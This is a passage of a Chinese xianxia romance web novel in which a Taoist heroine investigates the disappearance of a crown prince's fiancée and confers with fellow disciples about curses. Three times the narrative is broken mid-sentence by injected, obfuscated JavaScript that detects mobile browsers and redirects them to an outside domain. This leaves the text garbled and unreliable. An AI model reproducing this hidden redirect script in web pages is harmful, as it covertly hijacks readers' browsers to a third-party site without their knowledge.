“嗯……就是黎相爷家的嫡小姐,是我们殿下今春聘下的准太子妃。”宫女说着,霎时瞪大了眼睛,惊诧不已,“殿下方才与道长们说的,难道不是黎小姐的事?” 殷烬翎几乎立刻察觉到了异状,眉头一皱,一把抓住宫女的手,沉声道:“说清楚点。” 宫女这才意识到自己有打探太子与仙家商谈内容之嫌,而且可能无意中泄露了太子的私事,不由慌乱起来,连连摆手:“奴婢,奴婢什么也不知道,刚刚什么也没说……” 眼前这宫女显然掌握着一些重要线索,殷烬翎可不打算这么轻易地放过,紧盯着宫女道:“现在否认也晚了,说出去的话可没法随意撤回,不过如若你将事情完整讲与我,我尚且可以当作今晚你未曾与我说过话。” 宫女瑟缩着颤抖了一会,慢慢抬起头看向殷烬翎:“奴婢……若告诉道长,道长能保证不与旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15959247|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人提起,当作今晚什么也没发生过吗?” 殷烬翎点头:“我只会同那位与我一道来的叶公子说,旁的人绝不泄露半分。” “嗯。”得到了殷烬翎的承诺,宫女有些放下心来,“其实这也并非什么不可说的秘事,宫里上上下下都知道,道长迟早也会听说,只是殿下既然不曾与道长们提起,奴婢自然不能多舌,因此道长可莫让殿下知晓,此事是奴婢告诉道长的。” “就是你方才所说的那位准太子妃,黎小姐的事?” “正是。黎相爷府上的嫡长女,名唤黎落,年芳二八,与殿下少时便相识,早早定下了婚约,二人素来情投意合,今年开春殿下便去黎府下了聘,两方迎亲的东西都准备妥当了,只待定下的吉日四月初八一到,便要迎娶进宫,然而就在婚期前两日,太后病倒了,婚期便就此推后了。” “所以一直到今日还只是准太子妃?” “不,不。”宫女说着忽然惶恐不安起来,“婚期延后虽是因为太后病情,但直到今日还未成礼的根本原因却不是这个!” - 叶南扶仰头看向面前这座高大巍峨的宫殿,此处并非先前太子见客的那一处,宫灯仅有寥寥几盏零星悬挂在外墙上,朱檐琉璃瓦在夜幕的遮盖下幽暗得有如鬼魅,引他前来的侍从已然退下了,此处仅余他一人孤身立在黢黑的院落中。 宫墙上头传来细微的瓦片轻响,他敏锐地捕捉到了,抬头看向声音传来的方向。 一只通体乌黑的猫正踩在红瓦上,身形隐没在夜色中,仅有两只竖瞳里微微发散着幽深晦暗的光芒,定定地凝在他身上。 - 凉亭这边,宫女还在讲述着,只是语气却越发不安了起来。 “黎小姐平日里常来东宫寻殿下,奴婢们也时常被派去侍候,小姐待我们很是亲和,赏赐得又丰厚,大家都很喜欢她。太后病倒后,黎小姐作为未来的太子妃,自然也要进宫来探望。” “那日黎小姐照例进宫,先去慈宁宫看望过太后,随后便来了东宫这里,面色有些不虞,走得也不大稳当。奴婢扶住黎小姐,问可有身子不适,要不要去歇一歇。黎小姐说有点,让奴婢将她搀扶到她以往在东宫歇息的房间。” “到了房间后,她安静地坐到床沿上,奴婢想去弄些热茶来,便起身推门,她忽然出声唤我,我便回头看她,她摇头笑着说无事,叫我去吧,我便推门出去了。” - 叶南扶眯起眼,望着檐上的黑猫,瞳孔里泛着冷芒。 猫定定与他对视了须臾,忽而轻轻一动,矫健利落地越过檐瓦和宫墙,消失在了树影里。 叶南扶视线紧随着猫移动,最后锁定在猫消失的树丛上,屏息凝神,幽沉沉的眼眸一瞬不瞬地盯着那处,不知在想什么。 猝然之下,肩膀蓦地一沉,身后伸来的一只手拍在了他肩头。 - “这是我见到黎小姐的最后一面,自那一日,她便宛如人间蒸发,遍寻不着。” 37. 第 37 章 “黎小姐失踪后,殿下惊怒交加,也顾不得处罚下人们,忙不迭地遣人寻找,几乎将整个东宫都翻了过来,然而却一无所获,之后殿下又派人四处巡视,将满帝京的大街小巷都搜了个遍,仍然杳无音讯。” “这般大张旗鼓地搜寻,自然是将黎小姐失踪一事闹得满城风雨,宫里人人皆知,陛下与太后为此还斥责过殿下几回,但殿下充耳不闻,依旧不管不顾地到处寻人。” “如此过了约莫一个多月,殿下似乎是放弃了,慢慢将派出去的人都陆续撤了回来,整日闷在屋里,连奴婢们也见不到殿下,每日送膳都是摆到门口。直到不久后太后薨逝了,殿下才走出屋来,去为太后守灵。” “黎小姐的事对殿下打击挺大的,接着又是茶饭不饮、披麻戴孝地为太后守灵,只怕今日殿下与道长们商谈也是强打起精神的。” 殷烬翎听罢不由皱眉:“那你方才想问的便是这黎小姐失踪之事?” “是,黎小姐以往对奴婢们很好,小姐失踪后我们也都很是心急,况且小姐失踪那日奴婢还见过她,这段时间总会想着,如若我当日不曾离开,小姐是不是就不会出事了,所以见了殿下召道长们商谈就……忍不住想知道小姐下落和安危……” 连宫女都理所当然地认为太子急着找仙家来是为了这个准太子妃失踪之事,然而实际上太子甚至提都未曾提起此事,反倒一直在说太后? 殷烬翎微微眯了眯眼睛,问道:“你方才说,黎小姐失踪那日,她进宫后先是去探望了太后,对吧?” “正是。” “这日的事你们殿下肯定翻来覆去查过吧,你可知道这黎小姐都在太后那儿待了多久,期间可有发生什么?” 宫女稍稍沉默了下,犹豫地道:“其实这事并非奴婢能置喙的,只是大家私下里在传,太后似乎……不太属意黎小姐……” “她们二人不和?” “奴婢也只是偶然听从前在慈宁宫那里侍奉的姐姐说起过,太后觉得黎小姐言行过于率性轻脱,不似大家闺秀那般内敛沉静,当不起太子妃,还曾拿以娴静沉稳著称的襄王妃作比,责难过黎小姐。那日黎小姐自慈宁宫出来便面色不好,奴婢们起初还以为小姐在太后那儿受了训,后来才发觉她更像是身子不大好,于是便将她扶去了旁边一处院落。” 宫女伸手朝一个方向遥遥指了指:“就是在那边的院落。” 殷烬翎顺着她的手指朝夜色深处看去,只能见到远处黑影幢幢的宫殿轮廓,她隐隐觉得有什么不对,却又想不起来,皱着眉努力回想着,一边随口说着:“我们前面过来的时候似乎并未看到那里有宫人出入……” “这是自然的,自黎小姐在那边出了事,那处院落便被封了,殿下接见几位道长都是在正殿的。” 正殿……院落被封…… 殷烬翎猛地一凛。 她想起来了,刚才那侍从似乎引着叶南扶去了那方向,那个据说已被封了,渺无人迹的宫殿! 这念头一起,叶南扶走之前的话便不由自主地浮现在她脑中,令她忍不住心下一悬。 你先回住处吧,等我回来,便将事情全都告诉你。 临走前留下这种话的人若遇上了危险真的没事嘛?虽说老哥平日看着一副万事成竹在胸稳如老狗的模样,但实际上他根本没有半分灵力啊!倘若此事当真涉及妖蛊,有妖物藏匿其间,只怕他根本对付不了这个已吸收了诸多恶念、修为高窜的邪祟。 殷烬翎深深地锁起眉头,担忧地朝那处望去。然而自己毕竟未得太子相邀,不请自来地过去未免失礼,况且这还不一定出事,如此贸然前去,简直就像担心太子意欲图谋不轨一般,还是先在此处坐着等会看看情况吧。 - 叶南扶转过头,身后一步之遥立着正朝他恭敬作揖的太子。 “道长久等了,请随我进来吧。” 叶南扶站定不动,沉沉的目光落在面前不远处紧闭的宫院门扉上。 倾颓的天幕上新月黯淡无华,七八分的冷秋月辉尽数跌进了他沉静的黑瞳里,门楹上两盏苍白的宫灯在寒夜里投下寥寥幽光,在那眼眸里不断地明明灭灭。半晌,他敛去眸中摄人的清辉月色,垂首端正地行礼。 “殿下请。” - 殷烬翎一脚踩在凉亭的石阶上,频繁地抖着脚尖,双手抱胸,面沉如水。 她自刚才起就已经有些坐不住了,从不时地眺望一下那座被封锁的院落,变成了现下直接站到凉亭口一直盯梢着那处的动静。 老哥已经走了有大半个时辰了,那个太子究竟有什么事,需要私下请到这种阴暗无人的院落里谈上这么久? 她焦躁地频频换了好几次搁在石阶上的脚,抓乱了来之前精心梳过的发髻,可那个修长的身影始终没有出现在道路尽头。又过了约莫两刻钟,殷烬翎实在等不住了,随手扒拉了两下凌乱的头发,直接抬步便朝那方向走去。 宫女见状忙上前阻拦:“道长,殿下想必还在与叶道长密谈,道长不如再耐心等待一会……” “我怕我再等下去,他人就没了。”殷烬翎冷声说着,一把推开面前的宫女便下了凉亭,手捏法诀,足下生尘,沿着石径往那处院落疾速飞掠过去。 顷刻功夫就来到了那座宫殿门口,殷烬翎停下脚步,刚收了术法,便与正从门里头出来的叶南扶撞了个正面。 殷烬翎:……? 两人无声地互相瞪视了片刻,叶南扶率先让开了半个身子,半开的门里紧接着便走出了太子来,见到门外的殷烬翎也是一呆,三人面面相觑了良久,太子终于开了口。 “殷道长是前来接叶道长的吧?怎的没有下人陪着,我这便唤人过来。” 叶南扶伸手拦了太子:“殿下不必麻烦了,我们认得回去的路,自行回去便可。” 太子为难地小声道:“这未免有些失礼……” 殷烬翎终于从呆滞中缓过来,忙道:“不妨事不妨事,殿下,我们这便告辞了。”说着麻溜地行了礼,在后头拉了拉叶南扶。 叶南扶侧过头轻轻瞥她一眼,跟着行礼辞别。 太子也未再多说什么。告辞后,两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这位太子究竟是随意乱择了一个,还是有过某些我不曾窥见的思考才下的决定,我很想知道。” 叶南扶垂首望着她星子般明艳夺目的眼眸,不过一瞬,又若无其事地移了开去,道:“他最终选择我,必然是有所考量的,却绝不是因为我才能过人或者修为高深。” “怎么说?” “你可还记得先前东宫待客的正殿,殿门宴前忽然毁损,开阖不利,只余下仅一人可过的狭窄缝隙?” “自然记得。”殷烬翎不由回想起进殿前她为了看清殿门上头的物什,拉了叶南扶便使劲往里推的场景,当下微微翘了翘唇角。 “可曾看清那门楹上头安了何物?” 殷烬翎一怔:“你也注意到了?那究竟是……” 还未等她问完,一直拽着叶南扶袖子的手蓦地被另一只手托起,掌心间似乎多了样圆润温暖的东西,她低头看去,却见一枚正散发着荧荧湛蓝光彩的玲珑玉石。 “试灵石?” 38. 第 38 章 “试灵石?” 叶南扶颔首:“不错。” “你何时竟将人门框上的东西偷取了下来?” “那倒不曾,这是我自己的,殿门上那个还好好地挂在那儿呢。”叶南扶说着,将试灵石从她掌心收走,轻轻握在手里,绚丽的蓝芒顿时收敛无踪,只余下一枚残留着着些许暖意的黯淡石子。 端详了被叶南扶握着的试灵石片刻,殷烬翎忽然眨了眨眼,没头没尾地来了句:“难怪……” 难怪先前排队等其他仙家进殿门时看到门楹上有光芒一闪而过,而将叶南扶推进门时却全无反应,她还道是自己看岔了,居然是这个缘故,叶南扶身无灵力,这镶在上头的试灵石自然是亮不起来的。 “试灵石并非人间之物,总不见得是被风刮上去。”石子在叶南扶指尖打了个转,旋即便被他收进了袖中。 “你是何时觉察到的?” “就在方才进门之前。” “如此看来,先前殿门损坏,导致仙家只能逐一入内,这一出就是太子为了试探仙家们灵力弄出来的,否则这么个试灵石安在门上他不可能不知情。”殷烬翎目光幽暗如水,沉声分析道,“他定然派了人在暗处观望,也必然知晓你毫无半分灵力,大抵是个鱼目混珠的假仙家。” “等等,我似乎觉得自己受到了冒犯,虽然是假仙家无疑,但好歹也是个神兽,怎的就成鱼目混珠了?” “那……浑水摸鱼、滥竽充数?” “……” “或者……以假乱真、以次充好?” “……你一麻雀成语功底倒是不错。” “谢谢您的夸奖啊……哎呀,老哥你别打岔,我这分析情况呢?” 殷烬翎无奈地朝他用力摆了摆手,忽而又停了下来,神色陡然变得严肃:“你都知道这些,那他相邀你还敢孤身前往,不怕他对你不利?” “这倒无妨,我又死不了,你们这儿的妖物,终归不能拿我怎样。” 叶南扶挑了挑眉,颇不以为意的模样,忽又似想到了什么,低下头来拿好整以暇的眼神打量着她。 殷烬翎被他瞅得有些不自在:“作甚?” ……糟,刚刚是不是太明显了,老哥这么敏锐,怕是一眼看出我是担心他才赶过去的吧?喂喂,你心里知道不就行了,别问出来啊! “我在想,先前你不是说了在凉亭那儿等候么,方才急急赶来东宫那处,莫不是……” “我不是,我没有,你别瞎说。” “来探查太子底细的?” “不不不,我绝不承认……诶,等、等一下?” “嗯?你难道不是得知了太子妃失踪一事,对太子起了疑心,因而过来查探情况的吗?”叶南扶抬手揉着耳朵道。 “啊……啊,是啊。”殷烬翎面不红心不跳,腆着脸掩饰地笑道,“没错,我就是非常怀疑太子所以才连忙过去,谁知刚到就同你们撞了个正面嘿嘿嘿……” 所幸叶南扶也并未在此事上多做纠缠,他打了个老大的哈欠,加快了步子,道:“先回去吧,剩下的明日再谈。” 殷烬翎抬眼正欲答话,却隐隐见走在前边的人耳朵被揉了个通红,还未及细想,瞧着他已快步走出好远,她只得应了一声,赶忙跟了上去。 - 直至躺到床上,殷烬翎仍在思索着自太子处得来的众多消息。 太子既然知晓叶南扶毫无灵力,极有可能是个冒名混入的假仙家,为何还要单独召见他,进一步询问妖蛊之事?这正是当中最令人费解的一点。 还有,试灵石虽在仙界不算稀罕之物,可也不至于随意到能被仙家轻易赠予他人,毕竟是一个能试验仙人灵力深浅的物什,任谁也不希望自己的修为被拿来与他人做比。 就如同在学堂时大家都不愿意考核成绩被贴在院墙上供所有人围观一样,仙家之间也有不成文的规矩,对于修为和灵力一般都秉持着“你不问我不说”的和平友好互助原则,想必都不会做出相当于将仙家公开处刑此等丧尽天良之事,那么太子手上这枚试灵石究竟是从何处来的,赠予他的仙家又是否知道他打算用来做什么? 至于太子问的妖蛊能否将人化作他物,倒是未曾见过,须得去查查相关古籍记载方可断言,又或待明日见了秦师兄和疯狗,问问他们也成。 不过话说回来,今日的老哥也是有够古怪的,仿佛一夕之间变得好奇心旺盛又爱管闲事了起来,这严重违背他的初期人设啊!……不对啊,明明对我还是那么一副懒散嘴欠的模样。 殷烬翎闭着眼忽然轻笑出声。 不会真同这太子认识吧?怎么觉着有些微妙的不痛快呢…… 她向来沾了枕头便能入睡,这不过堪堪想了一会事,就呵欠频作,意识有些沉沉的,很快坠入了梦乡。 - “哥哥……走慢一些……” 低微的声音被一阵带着冰碴的风吹散,在广阔渺茫的素白天地间四碎成残破的音节。 走在前面的修长身影停下脚步,微微侧身往后看过来,宽大雪白的斗篷覆下,露着半张脸,略带几分风尘和倦意,却遮掩不住其原本的风华,其下颌的弧线宛如玉砌石刻般琢磨至臻,他迈步过来,蹲下看着眼前的少女,工笔细摹下的唇角轻缓开启。 “累了?” 点头。 “那便在这儿休息片刻吧。” 用力摇头:“不不,只是慢一点,我还能走的……我想早些回家。” 他伸手按住挣扎着要站起身往前走的少女,语气强硬了几分:“别逞强,乖乖坐下。” 话音落下的瞬间,冰封的雪原骤然间铺开千里绿地,玄妙的花草仿佛从坚硬的千层寒冰底下苏醒破出,刹那冬去春来。 - 当第一抹晨曦拂过雕花窗棂落到殷烬翎眼睫之上时,她便转醒了,因心里惦记着明日要早些去拜会秦子铮,这一觉睡得有些浅,且乱梦纷纭。 她睁着眼在榻上又躺了片刻,这才慢悠悠地坐起身来,轻轻甩了甩头,将毫无根据的梦境撇出脑海,尔后下了榻开始梳洗整衣冠。 推开所在的偏殿门,往正殿处瞥了两眼,毫无动静,一片死寂。 昨日回来便有些晚了,叶南扶又是惯常难入眠之人,先前好不容易有些习惯了肖睿家的地铺,这回换了个地儿怕又得翻腾到半夜了,估摸着他此刻还在床上睡得人事不知。 横竖他并不识得疯狗和秦子铮,去了只会徒增尴尬,殷烬翎便不欲打搅他和周公的会面,蹑手蹑脚地从他门前经过,径直出了殿门。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15982786|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦子铮所暂居的长宁殿离得不远,不消片刻便到了。 殷烬翎醒得早,出来时天色还未全亮,故而她到长宁殿门口时,门还紧闭着,不过里头已然有了些响动,秦子铮也是一贯起早之人,又嘱她今日早些来,想来是已经起身了。 这般想着,她上前扣了两下门,不多时里边便有脚步声由远及近,接着门被从内一把打开。 “秦师……兄?” 殷烬翎正开口招呼,抬头对上眼前叼着酥饼的人,顿时漏了半个音节,剩下半个“兄”字卡在喉咙里吞也不是吐也不是。 封荀只觉得自己近来大约是正冲太岁。 他昨儿昏昏沉沉睡了一整日,今日早些好不容易醒了,却因一日未曾进食给饿得不轻,连唤几声“子铮”也没人应,约莫人是出去了,便只得扶着额头自己下了床,打算寻些零嘴来垫垫肚子,翻了半天只找着了几个酥饼,他也顾不上那么多了,正咬了两口,外头门被敲响了。 封荀一门心思扑在吃食上,只道是秦子铮回来了,根本未有多想便叼着酥饼过去开了门,随即一眼瞧见门外的人,一口酥饼直接给卡在了嗓子里,顿时撕心裂肺一阵猛咳,差点给呛得背过气去。 殷烬翎毫无准备下与昔日对头撞了个正面,正尴尬地不知该说些什么,却忽见对方咳得面目狰狞痛苦万分,顿时不知所措起来。 这疯狗莫非真的病入膏肓了?不至于吧?昨日不还阴阳怪气同我抬杠来着,这才一日不见,怎么就咳得跟个行将就木的老爷子似的,这世事也难料过头了吧?这这,好歹也是仙门中人,不还是仙留双骄之一嘛,怎的突然之间就被风寒搞垮了? 等一下,我来这里不会真加重了他病情吧,那我岂不是罪过大了!完了完了,这疯狗若真有什么三长两短,我身为他的老仇人,与他结怨已久,动机充分,又恰好在现场,这要说不是我干的我自己都不信!我要不要从现在开始制造不在场证明啊?哎呀,早知道方才说什么也要把老哥拖过来做个人证…… 诶,对了,老哥!现在跑去把他拉过来,还能赶得及给疯狗灌生命力嘛? “佩之?” 正在殷烬翎将将要转身回去找叶南扶之时,身后传来一个声音打断了她慌不着调的胡思乱想,只见秦子铮快步上前越过她,扶住了封荀的肩膀。 “怎么了?”秦子铮替他顺着气,关切道。 “咳咳,没、咳咳,没事。” 封荀摆摆手,扶着门边上站稳了身子,平复了一下上逆的气息,抬首看向面前正踌躇着不知是否该过来的殷烬翎,也懒得装同门情深了,没好气道:“你来做什么?” “她来找我的。”一旁的秦子铮直接替她答道,“昨日与殷师妹商讨了一下宫里的异事,便约了今日再谈。” “呵,多管闲事。” 封荀瞥了殷烬翎一眼,从牙缝里吐出几个字,接着抬手示意了秦子铮不必再扶,转身回了自己屋里,“砰”地一声将门一脚带上。 此时殷烬翎算是反应过来了,敢情他方才只是噎着了,实际病已然好了个七七八八,瞧这关门的精神劲儿,显然跟“虚弱”两个字没半个笔画沾边。 秦子铮看着被封荀踢上的门摇了摇头,转过身来无奈地冲殷烬翎笑了笑,道:“殷师妹请进吧。” 39. 第 39 章 “殷师妹请进吧。” 殷烬翎点点头,抬步跨进了门槛。 她与两人相熟已久,也不见外,瞧着堂前有座,便径自坐了下来。 “我听闻昨日到的仙家都被太子召了去,可有说些什么?” 秦子铮添了一壶茶水,斟了杯递到殷烬翎手上。 “太子想找我们帮个忙,可他刚说了来意,满殿的仙家当场便走得没剩下几人。” 秦子铮失笑,摇头叹道:“这群老狐狸啊。” “可不是,这些糟老头子坏得很,平日里抢榜首捞油水少不了他们,碰上这种麻烦事个个溜得比泥鳅还快。” 殷烬翎作为为数不多留下来的光荣志愿者,义正言辞地对这些畏首畏尾消极避世的仙家们发表了强烈谴责。 秦子铮见她嘲得理直气壮,便问道:“这么说,你应承了太子?” 殷烬翎想起她接下这事儿的缘由来,不由撇了撇嘴:“姑且算是吧。” “稀奇。”秦子铮道,“我原以为你也该在离席者之列。” 殷烬翎小声嘀咕:“我倒是想……” “然后呢,太子所求何事?” “抱歉,秦师兄。”殷烬翎摇头,正色道,“关于此事,我答应了太子不会外传。” 秦子铮愣了愣,显然未料到殷烬翎突然正经严肃起来,旋即便了然一笑,温声道:“不怪师妹,这反倒是我唐突了。” 殷烬翎觉着秦子铮待人接物是真的当得一句“谦谦君子”,其温润如玉、明净如水,与之相处令人如沐春风,这也是她与封荀素来交恶,却未迁及秦子铮,反而同他交情甚好的原因,试问这样清隽温和的人谁能厌恶得起来呢? 只是反观他的道友…… 殷烬翎忍不住在心里啧啧出声。卿本佳人,奈何从贼啊! 不过面前这位佳人显然是并不知道殷烬翎此刻这些微妙心思的,他抿了口茶,转而说起了另外的事:“那么师妹可有探听到关于太后丧期内的事?是否事涉太子的秘辛?” “这个倒说出来也无妨,况且此事本就在委托范围之内。”殷烬翎便将自太后薨逝后接连出现的头七皇帝噩梦、三七宫墙黑影、五七竹林还魂都与秦子铮讲了一遍。 秦子铮听罢皱起了眉,沉吟半晌,道:“如此说来,倒确实是怪事频发了,只是……前几件事我不在当场,不好妄下论断,单就七七那一出,说实话,我觉得妖物或是亡魂作怪的可能很低。” 殷烬翎思及七七之事,想起来她今日至此的主要目的,遂道:“话说回来,疯狗何时醒的?” “我方才出门时他还睡着,约莫刚醒没多久。” “这么说,秦师兄还未问过他南三街的事?” 秦子铮点头,又冲封荀紧闭的房门使了个眼色道:“不如现下去当面问问。” 殷烬翎挑了挑眉,眼珠微微一转,轻快地应道:“好啊。”说着她当即起身朝封荀房间走去。 话音刚落,只听那房间里猛然传来椅凳翻倒之声,随即又是哆哆嗦嗦地快速扶正,接着是床榻发出的“嘎吱”一声和窸窸窣窣扯被子之声,就在殷烬翎推开门的前一瞬,一切声音消弭无踪,只见封荀闭目安然地躺在床上,端的是岁月静好。 ——如果他没忘了把鞋子脱下来再上床,以及没有因睡错方向而把枕头搁在了脚下,还有凳子没有慌乱地放到桌子上的话。 显然这疯狗方才一直在偷听,发觉外边的人要过来了才匆忙躺到床上去佯睡。 殷烬翎努力绷着才没笑出声,也不拆穿,上前去推了他两下:“喂,疯狗,起来问你些事儿。” 封荀眼也不睁,翻个身朝里头侧躺,留给殷烬翎一个冷漠无言的背面。 殷烬翎估摸着昨日封荀是听到她来的消息时恰巧晕倒了,既然他眼下并无大碍,正可以拿这事儿揶揄他一番,便故作夸大语调,煞有介事道:“唉,怨我,竟不知封师兄惧我如斯,只是骤闻将与我共事的消息便怛然失色,甚至于惊厥倒仆,就此一病不起。” 封荀当即一把掀了被子坐起来,咬牙切齿道:“一派胡言!你少在这信口开河!” 确认完毕,是疯狗本人无疑,还是同以前一样完全不会骂人。殷烬翎终于还是没忍住,撇过头捂着嘴疯狂偷笑。 封荀这一出口便不禁懊恼起来,尤其是见殷烬翎笑得肩膀抖个不停,更是悔怒交加,索性扭过头,面朝着墙,自闭了。 在后头瞧着这一幕的秦子铮叹了口气,只得认命地上前来当和事佬。 “佩之,殷师妹也算是来探望你的,就别同她怄气了。” 封荀翻了个大白眼:“她哪是来探病的,分明是来索命的。” 哦豁,长久未见,瞧不出疯狗还练了这本事,话说得一溜一溜的,哪日接不到活儿穷困潦倒了,去街头桥脚说个快板也不愁生计啊。 啊不对,他是仙盟成员,吃着仙盟皇粮,根本用不着为生计发愁,不似我们这等辛苦赚血汗钱的除灵师,走投无路时为了恰饭只能写点带颜色的小画本,才勉强维持得了生活这样子…… “这个乌鸦转世的灾星,与她一道就没遇上过好事。”封荀抱起双臂,仍旧面朝墙壁骂骂咧咧,“这不,百年了也没病过,一来就教她碰上了,我也是命硬,至今还没被克死。” “行了,佩之,你方才应该也听到了,师妹是来说正事的。”秦子铮何其了解封荀,自然知道他并未真的置气,便劝解道。 既然秦子铮出言相劝,封荀必然要卖几分面子,便也不再纠缠了,掀了铺盖站起身来,找了个椅子端正坐好,只是眼观鼻鼻观心,依旧瞥也不瞥殷烬翎一眼。 “说吧,想问什么?” 殷烬翎见他这模样,不屑地轻嗤了一声,便也仰头往上瞟着屋顶,半点余光也懒得留在封荀那方。 “昨日你去南三街作甚?” “调查那里的蜡烛铺。” “蜡烛铺?”殷烬翎一愣。 “七七那日祭奠仪式上,不是炸了根白烛吗,南三街的蜡烛花灯行当特别兴盛,有一整条街面全是灯烛铺子,做出的成品也甚是精美,我查到宫里仪式用的蜡烛惯常都是在那儿定制的。” “所以你查出什么了嘛?” “没有。”封荀摇头,“我过去时,此番接手宫里仪式用烛的那家铺子闭着门,据隔壁店家说,这铺子老板早十日前便关了店面,一家子都不知所踪。” “早十日?那不是还没到七七?” “不错,所以我推测这老板一早便知道给宫里送去的白烛有问题,一旦事发必会遭殃,因而赶在七七之前便仓皇关了铺面,举家出逃。” 殷烬翎颔首:“的确。只是这等皇家都来光顾的铺子生意想必兴隆非凡,一个普通的蜡烛铺老板放着 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封荀也忍不住转过头来瞅了她一眼,他讶异于殷烬翎居然端端正正地称他师兄,不是“疯狗”,也并未含带任何笑里藏刀阴阳怪气的意味,虽说是与秦子铮一起并称的,但她向来将两人摘得清清楚楚的,这也算是难得了。 “是关于……妖蛊能否将人化作他物,以及当如何解除?”殷烬翎抿了抿嘴道,“还请师兄莫要问及此中缘由。” 秦子铮理解地点点头,答道:“人与妖相谋害人,是为妖蛊;人得其所欲,妖得人之恶,互利互惠。妖蛊害人之法是掠夺人之气,包括生气、气运,被害之人通常可见体弱多病、厄运连连、妻离子散等境况。至于将人化作他物,闻所未闻。” 封荀忍不住插话:“这只怕不是妖蛊,而是幻术吧?” “幻术?”殷烬翎若有所思地喃喃重复道。 “是啊,哪家妖蛊还能兼有化形这等效果。”封荀总算给逮住个机会,连忙开嘲,“叫你从前整日课堂上看画本,理论功底都不学扎实。” “不是,我分明记得讲到妖蛊这节时,授课长老说不在考核范围来着,我就心安理得地画了个叉接着看画本去了。” 封荀:“……” 这样说来,借由妖蛊之法顶多只能令准太子妃黎小姐病倒或是家宅不宁,先前所推测的太后生前用妖蛊将黎小姐暗害,致使其失踪便不成立了。然而太子如此具有指向性地问妖蛊是否能将人变作他物,不得不令人生疑…… “喂,殷梨。” 殷烬翎被封荀这一声唤从沉思之中拉了回来,没好气道:“作甚?” “你那姘头呢?” “啥玩意儿?” “不是昨日一早在南三街时候见过,与你一道的那位……” 哦,是说老哥啊,但是这疯狗什么乱七八糟的称谓啊! “姘你个头,那是我道友!” 十来年不见也不晓得他又看了些什么低俗恶趣的画本,“姘头”这种词可不像是他往日那贫乏的词汇储备里能有的,这人也不懂挑拣挑拣,随便逮着个什么破烂画本都能津津有味地读完,能不能稍微有点鉴赏能力啊!对这类阅历尚浅,看了点什么就到处乱用的梗小鬼,殷烬翎常生出恨铁不成钢的无力之感。 封荀闻言不禁有些迷茫。 是我用错词了?现在道友和姘头不是一个意思么? 正在这时,外间传来叩门声,接着是宫人扬声通传:“几位道长,陛下有请。” 40. 第 40 章 听闻外头传唤,秦子铮忙起身,冲还没来得及换衣服、仅套了件外袍的封荀道:“速速换了衣裳面见陛下去。” 殷烬翎早先出门时便换好了宫里准备的那套道袍,此时自然不必再特意回去一趟,便与秦子铮一道退到外间厅堂等候,候着候着,殷烬翎便觉着不对,猛地一下从椅子上弹了起来。 糟了,把老哥给忘了!他指不定还睡得人事不知呢。她顾不上解释便赶忙快步朝正门走去。 身后秦子铮唤道:“师妹要去哪儿?” “我回去接我姘头,啊呸,道友……一同过去。” 殷烬翎回过头答着话,抬手推开了门,猝不及防下撞入一个怀中,额头碰在了对方肩上,入目是同样绣着暗金锦纹的深蓝道袍。 “你是在说我吗?” 她抬眼往上看去,叶南扶正低头望来,噙着一丝笑意的嘴角近在咫尺,令她一时有些怔怔出神,跟着心口狂跳不止,手脚更是无处安放,连退开两步的动作也忘了当如何操作。 他在问,她分明听得见,可微微张嘴却什么话也说不出来,只目光僵硬地盯着他的耳廓,瞧着那处慢慢染上色泽,最终转为鲜艳欲滴的红,与此同时,手下触到的胸口与肩臂也显见地迅速僵硬起来。 这耳朵,好红,真像熟透的果实……这么说来他昨天晚上,是不是也红了…… “你们在干什么?!” 这一声似炸雷落在耳边,令她脑中的旖念尽数散作云烟消失殆尽,她顿时神魂归位,忙不迭跳开两步,抬头见前边叶南扶也似被烫着了一般瞬间后退了几步,一时间尴尬得不知如何面对他的殷烬翎,只得转身看向刚才发声之人。 封荀不知何时已然穿戴齐整出来了,此刻立在后边,仍是拧着眉头,一脸不齿地瞅着她。 殷烬翎顿时莫名地有种做坏事被抓了个现行的羞愤难当之感,当下冲封荀发出了灵魂的质问:“你瞅啥?” 封荀啧啧两声,作出一脸痛心疾首状:“师门不幸啊!” 喂,你这是什么哀其不幸怒其不争的表情啊!别光顾着摇头,倒是给我说清楚啊!我跟老哥一身正气清清白白,你究竟都脑补了些什么污秽的情节!全赖那些该死的烂俗画本,把好好一个不通人事的疯狗给教成什么样了! 然而此时被羞恼和窘迫缠身的殷烬翎口拙得什么也说不出来,俨然成了思想上的巨人,言语上的矮子,只能在内心里无能狂怒。 “别闹了,佩之。”好在秦子铮及时赶来救下殷烬翎一命,“既然收拾好了便走吧,莫要让陛下等急了。” 一旁早已看呆了的引路宫女此时回过神来,朝几人施礼:“道长们请随奴婢来。” 殷烬翎长舒一口气,连忙默不作声地跟上几人的步伐,只是目光忍不住往叶南扶仍旧通红一片的耳朵上瞄。 原来是这样嘛…… - 